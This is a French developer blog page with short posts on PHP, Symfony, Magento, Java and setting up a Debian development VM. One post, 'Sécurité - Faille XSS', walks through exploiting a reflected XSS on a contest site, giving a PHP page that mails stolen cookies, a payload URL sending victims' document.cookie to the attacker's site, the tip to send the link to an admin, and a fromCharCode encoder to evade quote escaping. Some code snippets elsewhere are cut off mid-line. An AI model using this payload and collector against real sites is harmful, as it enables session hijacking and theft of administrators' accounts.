lundi, juillet 19 2010
[PHP] Erreur date() sur PHP 5.3
Par Guillaume Bretou le lundi, juillet 19 2010, 13:12 - PHP
PHP Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. [...]
Comme le message le précise, il faut définir le paramètre date.timezone dans votre php.ini. Voici la liste des fuseaux horaires supportés : http://php.net/manual/fr/timezones.php.
Vous pouvez également utiliser la fonction date_default_timezone_set.
[PHP] Mise à jour php vers 5.3 sur Debian Lenny
Par Guillaume Bretou le lundi, juillet 19 2010, 09:19 - PHP
Voici comment mettre à jour votre PHP :
ATTENTION - certaines fonctions PHP sont devenues obsolètes. Vous devez vous assurez que la mise à jour de posera pas de problème surtout si vous mettez à jour un serveur de production.
Ajoutez ces deux lignes dans votre fichier /etc/apt/sources.list deb
deb http://php53.dotdeb.org stable all
deb-src http://php53.dotdeb.org stable all
Puis, lancez la commande
sudo apt-get updatePuis
sudo apt-get install php5Pour vérifier, lancez la commande :
php -v Source : http://www.dotdeb.org/instructions/
mercredi, juin 16 2010
Mettre en place un environnement de développement
Par Guillaume Bretou le mercredi, juin 16 2010, 23:03
Je pars du principe que vous ne disposez pas de serveur de développement et que vous allez installer le vôtre.
Dans ce tutoriel, je vous montrerais comment :
- installer une machine virtuelle
- configurer cette machine
- tester des développements
Installation machine virtuelle
Cette étape n'est vraiment pas difficile, néanmoins, j'ai choisi de détailler un minimum pour les utilisateurs qui découvrent :).Pour commencer, téléchargez d'abord un soft permettant de créer des machines virtuelles.
Pour ne citer que les plus connus, il existe :
- VirtualBox,
- Parallels
- VMWare Server
Dans ce tutoriel, nous utiliserons VirtualBox qui à l'avantage d'être gratuit et très simple d'utilisation. Il est toutefois plus limité en terme de fonctionnalités.
Voici le lien pour le téléchargement : http://www.virtualbox.org/wiki/Downloads
Une fois le programme installé, créer votre machine virtuelle.
Choisissez lui un nom.
Comme OS sélectionnez Linux et Debian en version.
Sélectionnez ensuite la RAM qui sera allouée à la machine. Comme vous vous en doutez, plus vous allouez de mémoire vive, plus la VM sera rapide, mais cela peut ralentir votre OS. Sachant qu'il n'y aura qu'un serveur web sur la machine 256 Mo seront suffisants.
Créez ensuite un disque dur. 10 Go devraient suffirent pour une utilisation normale.
La machine virtuelle est crée et prête à fonctionner. Il faut maintenant lui installer un OS.
Pour cela, rendez-vous sur le site de Debian pour télécharger l'image de la dernière version stable.
Une fois le téléchargement terminé, il faut indiquer à votre VM d'utiliser l'image récupérée. Vous pourrez ajouter un lecteur optique des les préférences de votre VM (onglet Support). Chargez ensuite l'ISO dans le lecteur et lancez votre VM.
Vous arrivez directement sur le menu d'installation de DEBIAN. Choisissez "install". Si vous avez besoin de récupérer votre curseur, appuyez sur CTRL droit.
Il s'agit ensuite du processus normal d'installation, choix de la langue, du territoire, de la disposition du clavier ... Vous pourrez utiliser toute la configuration par défaut.
Faites attention et notez bien le nom d'utilisateur que vous aurez créé.
Pas la peine d'installer un serveur web ou un SGBD, nous l'installerons à la main par la suite. Inutile d'installer un environnement graphique, cette machine servira principalement de serveur et le seul contact que vous aurez avec elle sera le shell ;)
Votre serveur est maintenant disponible et prêt à être configuré.
Configuration du serveur
Nous allons maintenant installer tous les outils de développements nécessaires. Pour cela la commande aptitude sera votre amie. (Il est recommandé d'utiliser aptitude plutôt que apt-get).Nous installerons donc au moins :
- un serveur SSH,
- un serveur web avec PHP 5.2,
- un serveur samba pour accéder à vos fichiers depuis Windows,
- un serveur de base de données (Mysql),
- un client svn (si vos projets sont sur svn).
Tout d'abord, il faut configurer la gestion du réseau sur la VM. Celle-ci doit être éteinte pour effectuer des modifications. Dans les préférences -> onglet Réseau, choisissez "Accès par pont", une carte réseau de votre machine qui est active. Vous pourrez même configurer l'adresse MAC au besoin dans le menu des options avancées.
Lancez la machine virtuelle.
Installation serveur SSH
Pour plus de confort, vous pourrez utiliser putty en vous connectant en SSH à votre VM. Le programme est disponible ici.Pour utiliser putty, commencez par installer un serveur SSH sur votre machine :
aptitude install sshEnsuite, récupérez l'IP de la machine virtuelle via la commande :
ifconfig eth0 Vous pourrez maintenant vous connecter à votre machine virtuelle via putty, ce qui est plus confortable.
Installation serveur SAMBA
Commençons avec l'installation du serveur samba
aptitude install samba
On va ajouter un utilisateur à samba :
smbpasswd -a %utilisateur%Où vous l'aurez compris, il faut remplacer %utilisateur% par votre nom d'utilisateur !
Pour rendre accessible un dossier, vous devez éditer le fichier /etc/samba/smb.conf
vi /etc/samba/smb.confAjouter en fin de fichier :
[www]
path = /var/www
public = no
browseable = yes
user = guigui
writable = yes
create mask = 0750Ces lignes signifient que le dossier /var/www sera accessible en écriture à l'utilisateur guigui. Bien évidemment, vous devrez remplacer guigui par le nom de l'utilisateur que vous avez ajouté juste avant.
Pour le moment, le dossier /var/www n'existe pas, et vous aurez donc une erreur en tentant d'y accéder, ce qui est tout à fait normal. Ce répertoire sera créé automatiquement lors de l'installation d'apache2.
N'oubliez pas de redémarrer samba après l'édition du fichier :
/etc/init.d/samba restartVous pourrez alors accéder à votre machine virtuelle en vous connectant sur \\XXX.XXX.XXX.XXX depuis Windows.
Installation du SGBD Mysql
Pour installer mysql, il suffit de lancer la commande suivante :
aptitude install mysql-serverVous devrez alors saisir un mot de passe root (et sa confirmation).
si vous voulez tester, lancez la commande "mysql -uroot -p", puis saisissez votre mot de passe.
mysql -uroot -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 34
Server version: 5.0.51a-24+lenny4 (Debian)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> exit
ByeInstallation serveur Web et PHP
Pour installer un serveur web apache2 avec php5, lancer la commande suivante :
aptitude install apache2 php5 php5-cli phpmyadminVous devrez alors choisir un serveur web pour phpmyadmin. Choisissez évidemment apache2.
Pour vérifier que votre serveur web est bien lancé, exécutez la commande :
/etc/init.d/apache2 status
Vous devreiez avoir : Apache is running ...
Pour tester, il faut simplement vous connecter via un navigateur à votre serveur :
dans firefox, par exemple, inscrivez : http://XXX.XXX.XXX.XXX où XXX.XXX.XXX.XXX correspond, à ... l'ip du serveur bien sur !
Vous devriez voir le message :
It works!
Votre serveur est maintenant installé et prêt à être utilisé.Pour tester vos développements vous pouvez ajouter/modifier les fichiers dans /var/www.
D'ailleurs vous pourrez acceder directement à vos fichier via \\XXX.XXX.XXX.XXX
mardi, mai 25 2010
[symfony] Pas de batch actions dans un module admin-generator
Par Guillaume Bretou le mardi, mai 25 2010, 23:05 - Symfony 1.4
il faut éditer le fichier generator.yml comme ceci :
config:
actions: ~
fields: ~
list:
batch_actions: []
filter: ~
form: ~
edit: ~
new: ~[symfony] Pas de filtre dans l'admin generator
Par Guillaume Bretou le mardi, mai 25 2010, 22:47 - Symfony 1.4
Il est possible dans l'admin-generator de retirer les filtres.
Pour cela, il faut éditer le fichier generator.yml du module en question :
config:
actions: ~
fields: ~
list: ~
filter:
class: false
form: ~
edit: ~
new: ~
mercredi, avril 7 2010
[symfony] Sécurité
Par Guillaume Bretou le mercredi, avril 7 2010, 23:24
Ces sites là ne l'ont pas fait ... et ils s'exposent à de graves problèmes...
[MAGENTO] Les problèmes d'arrondi avec Magento 1.3
Par Guillaume Bretou le mercredi, avril 7 2010, 21:56 - MAGENTO
J'ai eu le problème suivant :
Mon site doit avoir des codes de promotion qui rendent la commande gratuite, frais de ports compris. (Non, je ne donnerai pas ces codes :))
Ensuite, dans le tunnel de commande, l'idée était de n'afficher que la méthode "free" si celle-ci était trouvée. (D'ailleurs, il ne faut pas oublier d'activer l'option adéquate en backend).
Malheureusement, avec les problèmes d'arrondi, sur certaines commandes, j'obtenais un total non pas à 0.00 mais 0.000...x.
Ce qui, bien évidemment, empêche l'affichage de la méthode "free".
Le problème se situe dans la classe : Mage_Payment_Model_Method_Free et plus précisément dans la méthode isAvailable.
public function isAvailable($quote=null)
{
if (is_null($quote)) {
return false;
}
if (Mage::app()->getStore()->roundPrice($quote->getGrandTotal()) == 0) {
return true;
}
return false;
}La méthode roundPrice peut renvoyer une valeur erronée à cause de l'utilisation de la fonction round() avec une précision de 2.
Une solution est d'ajouter le code suivant :
if
(number_format($quote->getGrandTotal(), 2) == '0.00')
{
return true;
} Cela devrait permettre d'avoir la méthode "free" disponible.
Si vous avez également des problèmes d'arrondi dans le total sur le panier, je vous conseille de modifier la précision de la méthode roundPrice().
jeudi, mars 18 2010
[MAGENTO] Liste des évènements
Par Guillaume Bretou le jeudi, mars 18 2010, 23:16 - MAGENTO
Ne connaissant rien à cette plate-forme, j'ai du tout apprendre sur le tas !
Personnellement, je trouve Magento intéressant dans la mesure où l'on peut déployer très rapidement un site de e-commerce. Le backend de l'application est très fourni et fourmille de fonctionnalités permettant de paramétrer son site.
Cependant, d'un point de vue développement, la courbe d'apprentissage est très élevée et il faut un peu de patience pour comprendre le fonctionnement du système. D'autant plus que les articles/tutoriaux ne sont pas légions sur Internet, ce qui est bien dommage.
J'écrirais donc dans ce blog quelques articles spécialement consacrés à Magento.
La toute première tâche que j'ai eu à réaliser était de déclencher une action lors de la sauvegarde d'un compte utilisateur.
Pour cela, il faut se tourner vers les évènements.
Voici la liste des évènements que l'on peut "hooker" (version 1.3).
Pour utiliser cet évènement, on va devoir surcharger le module customer de Magento.
Dans les bonnes pratiques, il est (fortement) conseillé de ne pas modifier le code de base de Magento. Il est en effet possible de surcharger les différents modules de base (que l'on peut voir dans app/code/core/Mage) et bien évidemment d'en créer des nouveaux.
Après avoir choisi un namespace (le nom de l'entreprise par exemple), il faut créer le répertoire dans app/code/
mkdir app/code/[NAMESPACE]C'est dans ce répertoire que l'on mettra tout notre code perso, on NE touchera JAMAIS à app/code/core.
Maintenant que l'on a définit un nouveau namespace, il faut que Magento puisse le détecter.
On va donc créer un fichier [NAMESPACE]_All.xml
touch /app/etc/modules/[NAMESPACE]_All.xmlOn va placer dans ce fichier tous les modules de notre namespace. Exemple de contenu :
<?xml version="1.0"?>
<config>
<modules>
<[NAMESPACE]_Customer>
<active>true</active>
<codePool>local</codePool>
</[NAMESPACE]_Customer>
</modules>
</config>Le code précédent permet d'activer le module [NAMESPACE]_Customer. Attention, vous devez configurer le namespace dans le backend de l'application.
Ensuite :
mkdir app/code/[NAMESPACE]/Customer
mkdir app/code/[NAMESPACE]/Customer/etc
touch app/code/[NAMESPACE]/Customer/etc/config.xmlLe fichier etc/config.xml contient toute la configuration du module. C'est notamment dans ce fichier que l'on pourra déclarer les installers, les règles de réécriture, ...
En ce qui nous concerne, on doit juste préciser la version du module et l'évènement à utiliser.
<?xml version="1.0"?>
<config>
<modules>
<[Namespace]_Customer>
<version>0.1.0</version>
</[Namespace]_Customer>
</modules>
<global>
<events>
<customer_save_after>
<observers>
<evian_customer>
<type>singleton</type>
<class>customer/observer</class>
<method>afterCustomerSave</method>
</evian_customer>
</observers>
</customer_save_after>
</events>
<models>
<customer>
<rewrite>
<observer>[NAMESPACE]_Customer_Model_Observer</observer>
</rewrite>
</customer>
</models>
</global>
</config>Le code précèdent signifie que lors de l'évènement customer_save_after, la méthode afterCustomerSave de la classe Observer doit être exécutée.
Le code a exécuter doit se trouver dans app/code/local/[NAMESPACE]/Customer/Model/Observer.php.
Or le fichier Observer.php existe déjà dans app/code/core/Customer/Model, il faut donc le réécrire (noeud rewrite).
Il nous faut donc créer un répertoire Model avec un fichier Observer.php
mkdir app/code/[NAMESPACE]/Customer/Model
touch app/code/[NAMESPACE]/Customer/Model/Observer.phpLe fichier Observer.php contiendra le code suivant :
class [NAMESPACE]_Customer_Model_Observer extends Mage_Customer_Model_Observer
{
public function afterCustomerSave(Varien_Event_Observer $observer)
{
//execute code here
}
}Maintenant, après la sauvegarde d'un client, votre code perso sera exécuté.
Attention : ne pas oublier de nettoyer le cache après chaque modification de fichiers XML (de même que certains templates).
Je proposerais par la suite d'autres articles sur Magento et son utilisation.
dimanche, mars 7 2010
[Javascript] Déclencher un évènement avec Prototype
Par Guillaume Bretou le dimanche, mars 7 2010, 23:08 - Javascript
Pour cela il faut utiliser event.simulate.js
Ensuite, il suffit d'exécuter le code :
$('foo').simulate('click');
Voici tous les évènements supportés :
var eventMatchers = {
'HTMLEvents': /^(?:load|unload|abort|error|select|change|submit|reset|focus|blur|resize|scroll)$/,
'MouseEvents': /^(?:click|mouse(?:down|up|over|move|out))$/
}lundi, mars 1 2010
[PHP] Calcul d'intérets simples et composés
Par Guillaume Bretou le lundi, mars 1 2010, 23:57 - PHP
Pour rappel :
Formule des intérets simples : Cn = Co(1+nt)
Formule des intérets composés : Cn = Co(1+t)^n
où Co est le capital de départ, Cn le capital d'arrivée, t le taux d'intérêts, n la durée du prêt.
Le fichier est dispo à cette adresse.
Il nécessite un serveur web pour s'exécuter. Mais je vais le réécrire pour du CLI :)
[symfony] Surcharger le message d'erreur d'unicité de Doctrine
Par Guillaume Bretou le lundi, mars 1 2010, 23:46
Lorsque l'on définit une contrainte d'unicité (unique: true dans le schema.yml) sur un champ, Doctrine va automatiquement afficher un message d'erreur : La colonne "column" existe déjà. Ce message n'est pas très joli à voir puisque la colonne n'est pas traduite. Pour le personnaliser, il faut le surcharger.
$validatorLabel = new sfValidatorDoctrineUnique(array('model' => 'MoperMissionPlace', 'column' => ('label')));
$validatorLabel->setMessage('invalid', 'An object with the same value already exists');
$this->validatorSchema->setPostValidator(
new sfValidatorAnd(array(
$validatorLabel
))
);jeudi, février 18 2010
Symfony 2 annoncé !
Par Guillaume Bretou le jeudi, février 18 2010, 09:30 - Symfony
mercredi, février 10 2010
[symfony] Charger des helpers dans le contrôleur ou le modèle
Par Guillaume Bretou le mercredi, février 10 2010, 09:22 - Symfony
use_helper('helperName'); Mais qu'en est-il dans le contrôleur ou le modèle ?
On peut utiliser en sf 1.0 et 1.1 :
sfLoader::loadHelpers('helperName')Mais cette méthode est obsolète dans les versions >= 1.2
Il faut utiliser à la place :
sfContext::getInstance()->getConfiguration()->loadHelpers('helperName');Si vous êtes dans une task :
$configuration = ProjectConfiguration::getApplicationConfiguration('backend', 'dev', true);
$context = sfContext::createInstance($configuration);
$configuration->loadHelpers('HelperName');
jeudi, janvier 28 2010
[JAVA] Affichage des évènements d'une semaine basé sur un export de Google Calendar
Par Guillaume Bretou le jeudi, janvier 28 2010, 16:27 - JAVA
Il affiche tous les évènements d'une semaine de référence.
Le programme est actuellement en v1.0.
Il prend en paramètre :
- le chemin vers le fichier .ics
- le début de la semaine de référence au format AAAAMMDD
Pour le lancer :
java -jar calendarAnalyser.jar path/to/calendar/file 20100128
Pour la petite histoire, j'ai développé ce programme car mon employeur actuel, Sensio Labs, demande à chaque développeur de remplir un Google Calendar en fonction des activités effectuées. Le vendredi soir, nous devons envoyer par mail un récapitulatif de tout ce qui a été fait dans la semaine.
Télécharger le jar
Télécharger les sources
Corrections du 01/03/2010
- Correction du bug de classement des évènements dans une même journée
- Correction du bug qui affichait les évènements de J+7
mardi, janvier 19 2010
[symfony] Eviter la mise à jour de updated_at
Par Guillaume Bretou le mardi, janvier 19 2010, 09:32 - Symfony
Au cours d'un projet, j'ai eu à implémenter un système de verrouillage sur les objets d'une table. Ce verrouillage était réalisé avec la modification d'une colonne (locked_until) contenant un timestamp.
Le problème était que lorsque je mettais à jour cette colonne, le updated_at de mon objet était lui aussi mis à jour, ce qui est tout à fait normal.
J'ai donc essayé de trouver comment contourner la mise à jour du champ et j'ai finalement trouver ça :
public function updateLock($userId)
{
$updatedAt = $this->getUpdatedAt();
$this->setLockedUntil(time() + sfConfig::get('app_lock_delay'
$this->setLockedBy($userId);
$this->save();
$this->setUpdatedAt($
$this->save();
}
On sauvegarde l'ancienne valeur de l'updated_at, puis on effectue les modifications sur l'objet et on sauvegarde. Ensuite (et voila l'astuce) il suffit de faire un appel à setUpdatedAt() et de sauvegarder à nouveau l'objet. Ainsi, la valeur n'aura pas changé !
mardi, janvier 12 2010
JAVA - Ouverture et lecture d'un fichier
Par Guillaume Bretou le mardi, janvier 12 2010, 22:56 - JAVA
Le premier morceau de code que je propose est ultra basique : c'est une simple ouverture et lecture de fichier.
public class CalendarFile
{
public String path;
public BufferedReader reader;
//constructor opens file
public CalendarFile(String filename) throws IOException
{
this.reader = new BufferedReader(new FileReader(filename));
}
public void printContent() throws IOException
{
String ligne = null;
while ((ligne = this.reader.readLine()) != null)
System.out.println(ligne);
}
}Et dans votre méthode main :
public static void main(String[] args)
{
// TODO Auto-generated method stub
String filename = "C:\\Users\\guigui\\workspace\\RemiseEnForme\\calendar.ics";
try
{
CalendarFile calendar = new CalendarFile(filename);
calendar.printContent();
}
catch (IOException e)
{
System.out.println("An error occured while opening the file");
}
}Vous aurez surement remarqué le nom de la classe : CalendarFile.
En fait, je fais un programme en JAVA qui va permettre de récupérer les données d'un export de google calendar.
J'ajouterai un nouveau post lorsque le programme sera fini.
jeudi, janvier 7 2010
Symfony - Slugify
Par Guillaume Bretou le jeudi, janvier 7 2010, 23:41 - PHP
Cependant, avec Doctrine, une telle méthode existe déjà :
Doctrine_inflector::urlize($
vendredi, décembre 25 2009
Sécurité - Faille XSS
Par Guillaume Bretou le vendredi, décembre 25 2009, 19:19 - Sécurité
Intéressé, je clic sur le lien et je ne pensais pas trouver là un si bel exemple de faille XSS.
Je m'explique : L'url avait la structure suivante : http://site.com?email=mon-email@gmail.com&nom=&prenom=
Il ne m'a pas fallu longtemps a mettre en évidence une faille XSS (présente sur chaque champ du formulaire !). Exemple :
http://site.com?email=mon-email@gmail.com&nom="<script>alert(document.cookie)</script>&prenom=
Quelle surprise ! Une petite fenêtre JS qui apparait !
Elle affiche les cookies du site. Cette information n'est pas très intéressante... Mais, que diriez-vous d'avoir ceux d'un administrateur ? Il y aura peut-être des informations bien plus intéressantes...
Mais comment les obtenir ? Voila l'astuce :
Sur un de vos site web, créez une nouvelle page avec juste le code suivant :
<?php
//sur votre site perso
mail('mon-email@gmail.com', '[SITE] Cookies info', $_GET['cookie']);
header('Location: http://site.com?email=mon-email@gmail.com&nom=xxx&prenom=xxx');
?>Le code précédent va envoyer sur votre adresse mail le contenu de la variable $_GET['cookie']. Puis, il va rediriger l'utilisateur vers le site avec le concours de manière transparente.
Ensuite, remplacez le script dans l'url par celui-ci :
<script>window.location.replace('http://siteperso.com/mapage.php?cookie=' + document.cookie)</script>
Ce qui vous donne :
http://site.com?email=mon-email@gmail.com&nom="<script>window.location.replace('http://siteperso.com/mapage.php?cookie=' + document.cookie)</script>
&prenom=
Ainsi, lorsqu'un utilisateur accède a cette url, il est automatiquement redirigé vers votre site perso et ses cookies sont envoyés sur votre boîte mail !
Il ne vous reste plus qu'à envoyer le lien à un admin du site :)
Un dernier point : les quotes sont échappées, ce qui empêche votre script de fonctionner dans l'url...
Pas de panique, il y a une solution ! Il suffit d'utiliser eval et fromCharCode. Comment ?
Prenez le contenu entre balises <script> et convertissez chaque caractère en code ASCII. Voici le code PHP :
<?php
$output = 'eval(String.fromCharCode(';
$tab = str_split($string);
foreach($tab as $letter)
{
$output .= ord($letter) . ', ';
}
$output = trim($output, ', ');
$output .= '))';
echo $output;
?>Vous aurez alors une url du type :
http://www.site.com/?email=mon-@gmail.com&nom="<script>eval(String.fromCharCode(119, 105, [...], 101, 41, 59))</script>&prenom=
La fonction eval va alors interpréter le retour de fromCharCode, ce qui permet de passer outre les addslashes.
Je vous ai donc montré dans cet article comment exploiter un type de faille XSS. Pensez donc toujours bien à echapper les variables que vous récupérez : Ne faites JAMAIS confiance à des données provenant de tiers.
lundi, décembre 21 2009
PHP - Votre site est-il valide XHTML ?
Par Guillaume Bretou le lundi, décembre 21 2009, 23:31 - PHP
C'est une opération assez fastidieuse, d'autant que le site n'était pas accessible de l'extérieur... donc il fallait tester page par page.
J'ai donc écrit une petite classe qui a évolué au fil du temps. On lui passe la homepage du site et il suit les liens (absolus et relatifs). Il ne remplis pas (encore) les formulaires.
Je me doute qu'il reste des choses à ajouter, et je continuerai de la faire évoluer.
Edit du 14/01/2010
A la suite d'une demande, il est possible de vérifier les erreurs 404 et les erreurs 500. Consultez le fichier pour plus d'informations.
Télécharger le fichier
Eclipse - raccourcis clavier
Par Guillaume Bretou le lundi, décembre 21 2009, 23:04 - Editeurs
Ce bouquin est une petite pépite. Il est bourré de très bons conseils et j'adhère à leur philosophie. Je ne peux que le recommander.
Ils traitent d'un point important concernant les éditeurs. En effet, il est très important de bien le maîtriser, cela vous permettra de gagner en productivité.
Pour ma part, j'utilise Eclipse, et je me suis posé la question de savoir si j'utilisais toutes les capacités de l'éditeur.
La combinaison des touches ctrl + shift + l permet d'afficher la liste des raccourcis claviers Eclipse ;)
« billets précédents - page 1 de 2


